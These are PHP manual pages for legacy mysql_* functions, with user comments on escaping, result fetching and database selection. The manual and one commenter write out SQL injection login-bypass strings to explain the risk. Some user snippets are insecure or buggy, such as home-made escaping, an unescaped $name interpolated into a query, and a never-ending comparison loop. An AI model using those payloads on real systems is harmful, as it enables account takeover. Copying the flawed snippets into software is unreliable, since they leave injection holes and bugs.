PHP Manual

mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement

Description

string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )

Escapes special characters in the unescaped_string, taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used.

mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

This function must always (with few exceptions) be used to make data safe before sending a query to MySQL.

Parameters

unescaped_string

The string that is to be escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the escaped string, or FALSE on error.

Examples

Example #1 Simple mysql_real_escape_string() example

<?php
// Connect
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    OR die(mysql_error());

// Query
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
            mysql_real_escape_string($user),
            mysql_real_escape_string($password));
?>

Example #2 An example SQL Injection Attack

<?php
// We didn't check $_POST['password'], it could be anything the user wanted! For example:
$_POST['username'] = 'aidan';
$_POST['password'] = "' OR ''='";

// Query database to check if there are any matching users
$query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";
mysql_query($query);

// This means the query sent to MySQL would be:
echo $query;
?>

The query sent to MySQL:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

This would allow anyone to log in without a valid password.

Notes

Note:

A MySQL connection is required before using mysql_real_escape_string() otherwise an error of level E_WARNING is generated, and FALSE is returned. If link_identifier isn't defined, the last MySQL connection is used.

Note:

If magic_quotes_gpc is enabled, first apply stripslashes() to the data. Using this function on data which has already been escaped will escape the data twice.

Note:

If this function is not used to escape data, the query is vulnerable to SQL Injection Attacks.

Note: mysql_real_escape_string() does not escape % and _. These are wildcards in MySQL if combined with LIKE, GRANT, or REVOKE.

See Also

  • mysql_client_encoding() - Returns the name of the character set
  • addslashes() - Quote string with slashes
  • stripslashes() - Un-quotes a quoted string
  • The magic_quotes_gpc directive
  • The magic_quotes_runtime directive

User Contributed Notes

sainthyoga2003 at gmail dot com 16-Jan-2012 11:15
exactly, how to use this function for making good sql sentences?

using this function and i get the following:

Select * from table where attribute = \'menu\'

and obviously, this is a syntax error
ovoznyak at gmail dot com 07-Jan-2012 03:25
Function safe_string_escape($str) above is not properly working when $str is numeric (not string).

For example, when call them as safe_string_escape((int) 12), it returns empty string. At the same time mysql_real_escape_string() returns 12.

So, it is safe to add $str = (string) $str; in the begin of function.
Anonymous 04-Oct-2011 03:34
If you try to escape a string which contains signs such as ’ or " and it doesnt work, check your website/file charset! Maybe it is NOT utf-8 ;)
upadrian at gmail dot com 05-Aug-2011 10:28
<?php
/**
 * @author upadrian@gmail.com
 * Simplified version for array escape using mysql_real_escape_string
 * for db store. Key names are not escaped beacuse i don't plain to
 * include in a sql.
 *
*/

function mres($q) {
    if(is_array($q))
        foreach($q as $k => $v)
            $q[$k] = mres($v); //recursive
    elseif(is_string($q))
        $q = mysql_real_escape_string($q);
    return $q;
}

?>
dan at marginallyclever dot com 08-Mar-2011 01:43
// Simplify, and don't forget to check the key names.

function from_array($x=null) {
  if(!isset($x)) return null;
  else if(is_string($x)) return mysql_real_escape_string($x);
  else if(is_array($x)) {
    foreach($x as $k=>$v) {
      $k2=mysql_real_escape_string($k);
      if($k!=$k2) unset($x[$k]);
      $x[$k2]=from_array($v);
    }
    return $x;
  }
}

// call it with $x=from_array($_POST['key_name']);
// or even $_POST=from_array($_POST);
stefan dot van dot beusekom at gmail dot com 31-Jan-2011 05:36
Following is a recursive function that makes all the strings it finds safe for data entry. If the underlying value is an array, it will loop through that array as well, to inifity. So any array depth is allowed. This might come in handy when dealing with sessions, posts, gets or whatnot arrays, where you immediately want to make use of the data without having to filter the data first.

<?php
        /*
         * Created by: Stefan van Beusekom
         * Created on: 31-01-2011
         * Description: A method that ensures safe data entry, and accepts either strings or arrays. If the array is multidimensional,
         *                     it will recursively loop through the array and make all points of data safe for entry.
         * parameters: string or array;
         * return: string or array;
         */
        public function filterParameters($array) {

            // Check if the parameter is an array
            if(is_array($array)) {
                // Loop through the initial dimension
                foreach($array as $key => $value) {
                    // Check if any nodes are arrays themselves
                    if(is_array($array[$key]))
                        // If they are, let the function call itself over that particular node
                        $array[$key] = $this->filterParameters($array[$key]);

                    // Check if the nodes are strings
                    if(is_string($array[$key]))
                        // If they are, perform the real escape function over the selected node
                        $array[$key] = mysql_real_escape_string($array[$key]);
                }
            }
            // Check if the parameter is a string
            if(is_string($array))
                // If it is, perform a  mysql_real_escape_string on the parameter
                $array = mysql_real_escape_string($array);

            // Return the filtered result
            return $array;

        }

?>
feedr 05-Dec-2010 08:38
Just a little function which mimics the original mysql_real_escape_string but which doesn't need an active mysql connection. Could be implemented as a static function in a database class. Hope it helps someone.

<?php
function mysql_escape_mimic($inp) {
    if(is_array($inp))
        return array_map(__METHOD__, $inp);

    if(!empty($inp) && is_string($inp)) {
        return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp);
    }

    return $inp;
}
?>
Anonymous 10-Nov-2010 09:44
calling this function twice, or on a string for which quotes have already been escaped, causes the quotes to be escaped twice.An example is where we have to check for magic_quotes_gpc  before calling mysql_escape_string to sanitize the inputs.

The following function can be used to escape singe and double quotes in a string with out the risk of escaping quotes twice.This function  escapes a quote, only if it hasn't already been escaped.

<?php
function safe_string_escape($str)
{
   $len=strlen($str);
    $escapeCount=0;
    $targetString='';
    for($offset=0;$offset<$len;$offset++) {
        switch($c=$str{$offset}) {
            case "'":
            // Escapes this quote only if its not preceded by an unescaped backslash
                    if($escapeCount % 2 == 0) $targetString.="\\";
                    $escapeCount=0;
                    $targetString.=$c;
                    break;
            case '"':
            // Escapes this quote only if its not preceded by an unescaped backslash
                    if($escapeCount % 2 == 0) $targetString.="\\";
                    $escapeCount=0;
                    $targetString.=$c;
                    break;
            case '\\':
                    $escapeCount++;
                    $targetString.=$c;
                    break;
            default:
                    $escapeCount=0;
                    $targetString.=$c;
        }
    }
    return $targetString;
}
echo safe_string_escape("asda'sda\'dsad\"sadasd'");
?>

above code echoes

asda\'sda\'dsad\"sadasd\'

You can see that the second single quote wasnt escaped again..
m-t at live dot fr 17-Oct-2010 09:30
You should use mysql_real_escape_string only before inserting the data into your table, otherwise you could just use this function :

function reverse_escape($str)
{
  $search=array("\\\\","\\0","\\n","\\r","\Z","\'",'\"');
  $replace=array("\\","\0","\n","\r","\x1a","'",'"');
  return str_replace($search,$replace,$str);
}
anonymous at host dot com 16-Sep-2010 02:28
You can also use the escape function in a manner as shown in the snapshot out of my own browsertools class:

<?php
//
// MySQL Database connection
//
public function mysqlConnect($host, $user, $password, $database) {
    $this->mysql = mysql_connect($host, $user, $password);
    if (!$this->mysql) die(mysql_error());
    mysql_select_db($database, $this->mysql);
}

//
// MySQL Query
// usage:
//    $query such as "SELECT * FROM users WHERE nick = '%s' AND pass = '%s'"
//      where %s are the placeholders for the parameters
// call:
//    $__->mysqlQuery( $query, arg0, arg1, arg2, ... )
// description:
//    The parameters given to the function are escaped through mysql_real_escape_string(),
//    merged with the query and then given to the mysql_query function.
// returns:
//    Array of lines returned by the MySQL Database
//
public function mysqlQuery($query) {
    $numParams = func_num_args();
    $params = func_get_args();

    if ($numParams > 1) {
        for ($i = 1; $i < $numParams; $i++){
            $params[$i] = mysql_real_escape_string($params[$i]);
        }

        $query = call_user_func_array('sprintf', $params);
    }

    $this->result = mysql_query($query, $this->mysql);
    if (!$this->result) die(mysql_error());
    $ret = array();
    while ($row = mysql_fetch_assoc($this->result)) {
        $ret[] = $row;
    }
    mysql_free_result($this->result);
    return $ret;
}
?>
paralescuoctavian at gmail dot com 12-Sep-2010 05:28
Also don't forget to escape $_COOKIE array before quering the database. In firefox you can edit cookies and insert and inject harmful sql queries.

<?php
  foreach ($_COOKIE as $key => $value) {
    if(get_magic_quotes_gpc()) $_COOKIE[$key]=stripslashes($value);
    $_COOKIE[$key] = mysql_real_escape_string($value);
  }
?>
adelbenzarti at yahoo dot fr 19-Jun-2010 03:05
The function mysql_real_escape_string helps the developer to insert data without having troubles in the process or having risks of SQL Injection.
You can develop a similar function :
<?php
        function escape($str)
        {
                $search=array("\\","\0","\n","\r","\x1a","'",'"');
                $replace=array("\\\\","\\0","\\n","\\r","\Z","\'",'\"');
                return str_replace($search,$replace,$str);
        }
?>
manixrock -~- gmail ~-~ com 16-May-2010 04:07
I've come up with an easy way to more easily escape things in an sql query. The simpler things are, the lower the chance that you'll forget to escape something. I use a helper class:

<?php
class MysqlStringEscaper
{
    function __get($value)
    {
        return mysql_real_escape_string($value);
    }
}
$str = new MysqlStringEscaper;
?>

then whenever I run a query I can simply do:

<?php
mysql_query("SELECT * FROM users WHERE name LIKE '{$str->$name}' LIMIT 10");
?>

This way it's easy to see what the variable is escaped as (other instances like $int or $list could be implemented), it's inline and it only changes the variable when it's inserted into the query.
hikmet1023 at hotmail dot com 25-Mar-2010 01:29
about DATA LENGTH and mysql_real_escape_string

i have just experienced that this function does not harm the data length at all. It seems to use the escaped string during insertion but still insert the UNESCAPED string:

I have tried INSERTing 50 char long string ( containing characters to be escaped) into 50 char long datafield. I could SELECT the data without any loss and i didnt need to UNESCAPE it! So the data comes ready cooked, just serve it to where you need to...

AND BEFORE GOING MAD typing, saving, changing for long hours:

as documented above, do not forget to stripslashes(yourstring) if you have to.

And as documented at mysql manuals: do not use SET NAMES, use mysql_set_charset
gustavo639 at gmail dot com 25-Feb-2010 07:17
I use:

<?php
public static function escaparParametros(){
        $numParametros = func_num_args();
        $parametros = func_get_args();

        for ($i = 0; $i < $numParametros; $i++){
            $parametros[$i] = mysql_real_escape_string($parametros[$i]);
        }

        return $parametros;
    }
?>
root at aeze dot ru 24-Feb-2010 09:42
Here my simple but very effective function for safe mysql queries.

<?php
/**
* USAGE: mysql_safe( string $query [, array $params ] )
* $query - SQL query WITHOUT any user-entered parameters. Replace parameters with "?"
*     e.g. $query = "SELECT date from history WHERE login = ?"
* $params - array of parameters
*
* Example:
*    mysql_safe( "SELECT secret FROM db WHERE login = ?", array($login) );    # one parameter
*    mysql_safe( "SELECT secret FROM db WHERE login = ? AND password = ?", array($login, $password) );    # multiple parameters
* That will result safe query to MySQL with escaped $login and $password.
**/
function mysql_safe($query,$params=false) {
    if ($params) {
        foreach ($params as &$v) { $v = mysql_real_escape_string($v); }    # Escaping parameters
        # str_replace - replacing ? -> %s. %s is ugly in raw sql query
        # vsprintf - replacing all %s to parameters
        $sql_query = vsprintf( str_replace("?","'%s'",$query), $params );
        $sql_query = mysql_query($sql_query);    # Perfoming escaped query
    } else {
        $sql_query = mysql_query($query);    # If no params...
    }

    return ($sql_query);
}
?>
presto dot dk at gmail dot com 28-Jan-2010 07:05
If you want to make sure that the ID you're using to do a query is a number, use sprint() of (int) or intval(), but don't use mysql_real_escape_string.

There is no difference between ISO-8859-1's number 10 and UTF-8's number 10.
strata_ranger at hotmail dot com 08-Dec-2009 11:17
There's an interesting quirk in the example #2 about SQL injection:  AND takes priority over OR, so the injected query actually executes as WHERE (user='aidan' AND password='') OR ''='', so instead of returning a database record corresponding to an arbitrary username (in this case 'aidan'), it would actually return ALL database records.  In no particular order.  So an attacker might be able to log in as any account, but not necessarily with any control over which account it is.

Of course a potential attacker could simply modify their parameters to target specific users of interest:

<?php

// E.g. attacker's values
$_POST['username'] = '';
$_POST['password'] = "' OR user = 'administrator' AND '' = '";

// Malformed query
$query = "SELECT * FROM users WHERE user='$_POST[username]' AND password='$_POST[password]'";

echo $query;

// The query sent to MySQL would read:
// SELECT * FROM users WHERE user='' AND password='' OR user='administrator' AND ''='';
// which would allow anyone to gain access to the account named 'administrator'

?>
alan_a_williams [at] hotmail [dot] com 19-Aug-2009 04:17
Just a little something I like to use....

$_GET = array_map('trim', $_GET);
$_POST = array_map('trim', $_POST);
$_COOKIE = array_map('trim', $_COOKIE);
$_REQUEST = array_map('trim', $_REQUEST);
if(get_magic_quotes_gpc()):
    $_GET = array_map('stripslashes', $_GET);
    $_POST = array_map('stripslashes', $_POST);
    $_COOKIE = array_map('stripslashes', $_COOKIE);
    $_REQUEST = array_map('stripslashes', $_REQUEST);
endif;
$_GET = array_map('mysql_real_escape_string', $_GET);
$_POST = array_map('mysql_real_escape_string', $_POST);
$_COOKIE = array_map('mysql_real_escape_string', $_COOKIE);
$_REQUEST = array_map('mysql_real_escape_string', $_REQUEST);

Seems to do the trick ALOT of the time, but I'm going to be honest, it can be a [EDITED] sometimes >_>
Anonymous 02-Aug-2009 03:45
I use the following code in my database connection include file (which is of course called at the start of every page that needs to do some SQL)...
Therefore, all POST and GET vars are automatically escaped before being used anywhere in SQL statements.

<?php
  //This stops SQL Injection in POST vars
  foreach ($_POST as $key => $value) {
    $_POST[$key] = mysql_real_escape_string($value);
  }

  //This stops SQL Injection in GET vars
  foreach ($_GET as $key => $value) {
    $_GET[$key] = mysql_real_escape_string($value);
  }
?>
plgs at ozemail dot com dot au 27-Jul-2009 01:05
Don't forget that if you're using Mysqli (ie, the "improved" Mysql extension) then you need to use the corresponding mysqli function mysqli_real_escape_string().  The parameter order is also different.
Anonymous 13-Jul-2009 08:30
It is because you swapped $key and $item:

Just change this:
<?php
  function mysql_safe ( $item, $key, $type )
  ?>

To:

<?php
        function mysql_safe ( $key, $item, $type )
?>

And it will work as expected.
isaacs dot brian dot c at gmail dot com 11-Jul-2009 11:06
I had wanted to see the merits of dynamically and "automatically" applying mysql_real_escape_string() to $_GET and $_POST as arrays rather than manually each time I would type up a query. I used array_walk_recursive() to call my function "mysql_safe" to apply mysql_real_escape_string() to each key of the $_GET and $_POST arrays.

My function is part of a class, and it is called each time I connect to the database to perform a query:

<?php
class MyClass {
        function mysql_safe ( $key, $item, $type )
        {
            switch( $type )
            {
                case 'get':
                    if( count( $_GET ) > 0 )
                    {
                        $_GET[$item] = mysql_real_escape_string( $key );
                    }
                break;
                case 'post':
                    if( count( $_POST ) > 0 )
                    {
                        $_POST[$item] = mysql_real_escape_string( $key );
                    }
                break;
            }
        }

        function safe_get ( )
        {
            #Flag to only run function once
            if( $this->get_flag == true ) { return true; }

            array_walk_recursive( $_GET, array( $this, 'mysql_safe' ), 'get' );
            array_walk_recursive( $_POST, array( $this, 'mysql_safe' ), 'post' );

            $this->get_flag = true;
        }
}
?>

However, after using this function, I find that it does indeed work, it also creates new $_GET and $_POST values in which $item and $key are swapped. So I end up with $_GET[$item] = $key, as well as $_GET[$key] = $item. I have not yet determined if this is due to the actual coding itself, or my particular method of implementation.

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "Anonymous" on 13-JUL-09 to reorder the user function parameters.]
info at saturnprods dot com 13-Jun-2009 12:37
I always use this function so I don't have to retype over and over the mysql_real_escape_string function.

<?php
function safe($value){
   return mysql_real_escape_string($value);
}
?>

Then, when I am using my code, I simply use:

<?php
$name = safe($_POST["name"]);
$password = safe($_POST["password"]);
?>
kendsnyder at gmail dot com 25-Mar-2009 01:07
<?php

// Here is a simple named binding function for queries that makes SQL more readable:
// $sql = "SELECT * FROM users WHERE user = :user AND password = :password";
// mysql_bind($sql, array('user' => $user, 'password' => $password));
// mysql_query($sql);

function mysql_bind(&$sql, $vals) {
    foreach ($vals as $name => $val) {
        $sql = str_replace(":$name", "'" . mysql_real_escape_string($val) . "'", $sql);
    }
}

?>
Bastiaan Welmers 24-Mar-2008 11:46
This function won't help you when inserting binary data, to me it will get mallformed into the database. Probably UTF-8 combinations will be translated by this function or somewhere else when inserting data when running mysql in UTF-8 mode.

A better way to insert binary data is to transfer it to hexadecimal notation like this example:

<?php
$string = $_REQUEST['string'];
$binary = file_get_contents($_FILE['file']['tmp_name']);

$string = mysql_real_escape_string($string);
$binary_hex = bin2hex($binary);

$query = "INSERT INTO `table` (`key`, `string`, `binary`, `other`) VALUES (NULL, '$string', 0x$binary_hex, '$other')";

?>
Anonymous 02-Mar-2008 10:57
My escape function:

Automatically adds quotes (unless $quotes is false), but only for strings. Null values are converted to mysql keyword "null", booleans are converted to 1 or 0, and numbers are left alone. Also can escape a single variable or recursively escape an array of unlimited depth.

<?php
function db_escape($values, $quotes = true) {
    if (is_array($values)) {
        foreach ($values as $key => $value) {
            $values[$key] = db_escape($value, $quotes);
        }
    }
    else if ($values === null) {
        $values = 'NULL';
    }
    else if (is_bool($values)) {
        $values = $values ? 1 : 0;
    }
    else if (!is_numeric($values)) {
        $values = mysql_real_escape_string($values);
        if ($quotes) {
            $values = '"' . $values . '"';
        }
    }
    return $values;
}
?>
matthijs at yourmediafactory dot com 27-Dec-2007 01:49
In response to Michael D - DigitalGemstones.com:

Check the example again: sprintf(%d) already does the int conversion for you, so it's both perfectly save as well as more elegant than manually casting.
user at NOSPAM dot example dot com 27-Aug-2007 05:16
if you're doing a mysql wildcard query with
LIKE, GRANT, or REVOKE
you may use addcslashes to escape the string:

<?php
$param = mysql_real_escape_string($param);
$param = addcslashes($param, '%_');
?>
brian dot folts at gmail dot com 06-Sep-2006 09:25
mysql_real_escape_string is a bit annoying when you need to do it over an array.

<?php
function mysql_real_escape_array($t){
    return array_map("mysql_real_escape_string",$t);
}
?>

this one just mysql_real_escape's the whole array.

ex) <?php $_POST=mysql_real_escape_array($_POST); ?>

and then you dont have to worry about forgetting to do this.
kael dot shipman at DONTSPAMIT! dot gmail dot com 18-Jul-2006 01:19
It seems to me that you could avoid many hassels by loading valid database values into an array at the beginning of the script, then instead of using user input to query the database directly, use it to query the array you've created. For example:

<?php
//you still have to query safely, so always use cleanup functions like eric256's
$categories = sql_query("select catName from categories where pageID = ?",$_GET['pageID']);
while ($cts = @mysql_fetch_row($categories)) {
 //making $cts both the name and the value of the array variable makes it easier to check for in the future.
 //obviously, this naming system wouldn't work for a multidimensional array
 $cat_ar[$cts[0]] = $cts[0];
}
...

//user selects sorting criteria
//this would be from a query string like '?cats[]=cha&cats[]=fah&cats[]=lah&cats[]=badValue...', etc.
$cats = $_GET['cats'];

//verify that values exist in database before building sorting query
foreach($cats as $c) {
 if ($cat_ar[$c]) { //instead of in_array(); maybe I'm just lazy... (see above note)
  $cats1[] = "'".mysql_real_escape_string($c)."'";
 }
}
$cats = $cats1;
//$cats now contains the filtered and escaped values of the query string

$cat_query = '&& (category_name = \''.implode(' || category_name = \'',$cats).'\')';
//build a sql query insert
//$cat_query is now "&& (category_name = 'cha' || category_name = 'fah' || category_name = 'lah')" - badValue has been removed
//since all values have already been verified and escaped, you can simply use them in a query
//however, since $pageID hasn't been cleaned for this query, you still have to use your cleaning function
$items = sql_query("SELECT * FROM items i, categories c WHERE i.catID = c.catID && pageID = ? $cat_query", $pageID);
nicolas 30-May-2006 01:38
Note that mysql_real_escape_string doesn't prepend backslashes to \x00, \n, \r, and and \x1a as mentionned in the documentation, but actually replaces the character with a MySQL acceptable representation for queries (e.g. \n is replaced with the '\n' litteral). (\, ', and " are escaped as documented) This doesn't change how you should use this function, but I think it's good to know.
mysql_query
mysql_result
MySQL Functions


Get result data

mysql_real_escape_string
mysql_select_db
MySQL Functions
PHP Manual

mysql_result

(PHP 4, PHP 5)

mysql_result — Get result data

Description

string mysql_result ( resource $result , int $row [, mixed $field = 0 ] )

Retrieves the contents of one cell from a MySQL result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mysql_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

row

The row number from the result that's being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved.

It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

Return Values

The contents of one cell from a MySQL result set on success, or FALSE on failure.

Examples

Example #1 mysql_result() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
if (!mysql_select_db('database_name')) {
    die('Could not select database: ' . mysql_error());
}
$result = mysql_query('SELECT name FROM work.employee');
if (!$result) {
    die('Could not query:' . mysql_error());
}
echo mysql_result($result, 2); // outputs third employee's name

mysql_close($link);
?>

Notes

Note:

Calls to mysql_result() should not be mixed with calls to other functions that deal with the result set.

See Also

  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_object() - Fetch a result row as an object

User Contributed Notes

bruce at kaskubar dot com 29-Apr-2011 06:30
The warning against mixing the use of mysql_result with other result set functions is a bit generic. More specifically, mysql_result alters the result set's internal row pointer (at least in a LAMP environment). This is anything but obvious as the nature of the function is random access for grabbing a quick byte. Using mysql_data_seek after some mysql_result calls, before going into a mysql_fetch_array loop, will set things straight.
DJK 06-Oct-2009 02:00
Note that mysql_result affects the internal pointer used by mysql_fetch_*

<?php
$res = mysql_query('SELECT a,b FROM ab');
echo mysql_result($res,0,0);
print_r(mysql_fetch_assoc($res));
?>

In the above example, the call to mysql_fetch_assoc would return the SECOND result, not the first as (I) expected.

Use mysql_data_seek($res,0) to reset the result set.
adam dot chou at gmail dot com 06-Oct-2008 02:49
mysql_result() will throw E_WARNING if mysql_query returns 0 rows. This is unlike any of the mysql_fetch_* functions so be careful of this if you have E_WARNING turned on in error_reporting(). You might want to check mysql_num_rows() before calling mysql_result()
kg6ypi at remotehams dot com 01-May-2008 05:54
//updated error handling for mysql_evaluate

function mysql_evaluate($query, $default_value=0) {

    if (!$result=mysql_query($query)) {
        return 0;
    }

    if (mysql_num_rows($result)==0)
        return $default_value;
    else
        return mysql_result($result,0);
}

// same applies for the mysql_evaluate_array() function
djurredenboer at hotmail dot com 11-May-2007 12:08
<?
$link = mysql_connect("host", "user", "passw");
mysql_select_db("database", $link);
$number = 3;
$insert = mysql_query("SELECT `test1`.*, `test2`.*,
FROM `test1`, `test2`, `
WHERE ((`test1`.`author` = `test2`.`ID`) AND (`test2`.`ID` ='$number'))
ORDER BY `toetsen`.`autoID` DESC",$link);

 echo mysql_result( $insert , 0, 'test1.question') ;

#here he echoes the questions the stuff out of the first table

echo mysql_result( $insert , 0, 'test2.name') ;

#here he echoes the questions the stuff out of the second table
?>
erelsgl dot NOSPAM at cs dot technion dot ac dot il 12-Sep-2006 04:18
two simple but very useful functions, for converting a query to a value or an array:

<?php
function mysql_evaluate($query, $default_value="undefined") {
    $result = mysql_query($query);
    if (mysql_num_rows($result)==0)
        return $default_value;
    else
        return mysql_result($result,0);
}

function mysql_evaluate_array($query) {
    $result = mysql_query($query);
    $values = array();
    for ($i=0; $i<mysql_num_rows($result); ++$i)
        array_push($values, mysql_result($result,$i));
    return $values;
}
?>

http://tora.us.fm/_script/highlight.php?file=sql

Usage examples:

<?php
 $customer_count = mysql_evaluate("SELECT COUNT(*) FROM customers");
 $customer_names = mysql_evaluate_array("SELECT name FROM customers");

$customer_type = mysql_evaluate("SELECT type FROM customers WHERE name='$name'", "DEFAULT_TYPE");
?>
gack at bar dot foo 18-Jul-2006 07:42
if you want to do something based on the fact that the data is the same in the next row, then looking ahead is easy with this.

<?php
$i=0;
$rows=mysql_num_rows($result);
while($i < $rows) {
 $x = mysql_result($result, $i, 0);
 if ($x = mysql_result($result, $i+1, 0)) {
  echo "It's the same thing!";
 }
}
?>
raz0 at NOSPAM dot worldonline dot dk 23-Aug-2003 10:42
If you want to fetch the result from a mysql query similar to one of these two queries...

$query = mysql_query("SELECT COUNT(*) FROM table");
$query = mysql_query("SELECT LAST_INSERT_ID()");

... you would use mysql_result() like shown below to retrieve the output as an int.

$result = mysql_result($query, 0, 0);
mysql_real_escape_string
mysql_select_db
MySQL Functions


Select a MySQL database

mysql_result
mysql_set_charset
MySQL Functions
PHP Manual

mysql_select_db

(PHP 4, PHP 5)

mysql_select_db — Select a MySQL database

Description

bool mysql_select_db ( string $database_name [, resource $link_identifier ] )

Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database.

Parameters

database_name

The name of the database that is to be selected.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_select_db() example

<?php

$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_selectdb()

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_pconnect() - Open a persistent connection to a MySQL server
  • mysql_query() - Send a MySQL query

User Contributed Notes

riad93 at mail dot ru 12-Sep-2009 04:44
You can use DataBases without <?php mysql_select_db() ?>

And you will havenot james at gogo dot co dot nz's problems :)

<?php
mysql_connect('localhost','db_user','pssword');
mysql_query('SELECT * FROM database_name.table_name');

?>
anotheruser at example dot com 12-Aug-2008 04:57
Cross-database join queries, expanding on Dan Ross's post...

Really, this is a mysql specific feature, but worth noting here.  So long as the mysql user has been given the right permissions to all databases and tables where data is pulled from or pushed to, this will work.  Though the mysql_select_db function selects one database, the mysql statement may reference another (the syntax for referencing a field in another db table being 'database.table.field').

<?php

$sql_statement = "SELECT
    PostID,
    AuthorID,
    Users.tblUsers.Username
    FROM tblPosts
    LEFT JOIN Users.tblUsers ON AuthorID = Users.tblUsers.UserID
    GROUP BY PostID,AuthorID,Username
    ";

$dblink = mysql_connect("somehost", "someuser", "password");
mysql_select_db("BlogPosts",$dblink);
$qry = mysql_query($sql_statement,$dblink);

?>
me at khurshid dot com 08-Sep-2007 11:03
Problem with connecting to multiple databases within the same server is that every time you do:
mysql_connect(host, username, passwd);
it will reuse 'Resource id' for every connection, which means you will end with only one connection reference to avoid that do:
mysql_connect(host, username, passwd, true);
keeps all connections separate.
Maarten 19-Aug-2005 05:09
About opening connections if the same parameters to mysql_connect() are used: this can be avoided by using the 'new_link' parameter to that function.

This parameter has been available since PHP 4.2.0 and allows you to open a new link even if the call uses the same parameters.
buzz at oska dot com 06-May-2005 05:39
Opening multiple connection handles with:

<?php
$connection_handle =  mysql_connect($hostname_and_port,$user,$password);
?>

causes the connection ID/handle to be REUSED if the exact same parameters are passed in to it.   This can be annoying if you want to work with multiple databases on the same server, but don't want to (a) use the database.table syntax in all your queries or (b) call the mysql_select_db($database) before every SQL query just to be sure which database you are working with.
My solution is to create a handle for each database with mysql_connect (using ever so slightly different connection properties), and assign each of them to their own database permanently.  each time I do a mysql_query(...) call, I just include the connection handle that I want to do this call on eg (ive left out all error checking for simplicity sake):

<?php
// none of thesehandles are re-used as the connection parameters are different on them all, despite connecting to the same server (assuming 'myuser' and 'otheruser' have the same privileges/accesses in mysql)
$handle_db1 = mysql_connect("localhost","myuser","apasswd");
$handle_db2 = mysql_connect("127.0.0.1","myuser","apasswd");
$handle_db3 = mysql_connect("localhost:3306","myuser","apasswd");
$handle_db4 = mysql_connect("localhost","otheruser","apasswd");

// give each handle it's own database to work with, permanently.
mysql_select_db("db1",$handle_db1);
mysql_select_db("db2",$handle_db2);
mysql_select_db("db3",$handle_db3);
mysql_select_db("db4",$handle_db4);

//do a query from db1:
$query = "select * from test"; $which = $handle_db1;
mysql_query($query,$which);

//do a query from db2 :
$query = "select * from test"; $which = $handle_db2;
mysql_query($query,$which);

//etc
?>

Note that we didn't do a mysql_select_db between queries , and we didn't use the database name in the query either.

Of course, it has the overhead of setting up an extra connection.... but you may find this is preferable in some cases...
james at gogo dot co dot nz 16-Jan-2004 04:45
Be carefull if you are using two databases on the same server at the same time.  By default mysql_connect returns the same connection ID for multiple calls with the same server parameters, which means if you do

<?php
  $db1 = mysql_connect(...stuff...);
  $db2 = mysql_connect(...stuff...);
  mysql_select_db('db1', $db1);
  mysql_select_db('db2', $db2);
?>

then $db1 will actually have selected the database 'db2', because the second call to mysql_connect just returned the already opened connection ID !

You have two options here, eiher you have to call mysql_select_db before each query you do, or if you're using php4.2+ there is a parameter to mysql_connect to force the creation of a new link.
doug at xamo dot com 17-Dec-2003 12:39
When you need to query data from multiple databases, note that mysql_select_db("db2")  doesn't prevent you from fetching more rows with result sets returned from "db1".

<?php
mysql_select_db("db1");

$res_db1=mysql_query("select * from foobar");

myqsl_select_db("db2);

$row_db1=mysql_fetch_object($res_db1);

$res_db2=mysql_query("select * from test where id='$row_db1->id'");
?>
mysql_result
mysql_set_charset
MySQL Functions


Sets the client character set

mysql_select_db
mysql_stat
MySQL Functions
PHP Manual

mysql_set_charset

(PHP 5 >= 5.2.3)

mysql_set_charset — Sets the client character set

Description

bool mysql_set_charset ( string $charset [, resource $link_identifier ] )

Sets the default character set for the current connection.

Parameters

charset

A valid character set name.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function requires MySQL 5.0.7 or later.

Note:

This is the preferred way to change the charset. Using mysql_query() to execute SET NAMES .. is not recommended.

See Also

  • mysql_client_encoding() - Returns the name of the character set
  • » List of character sets that MySQL supports

User Contributed Notes

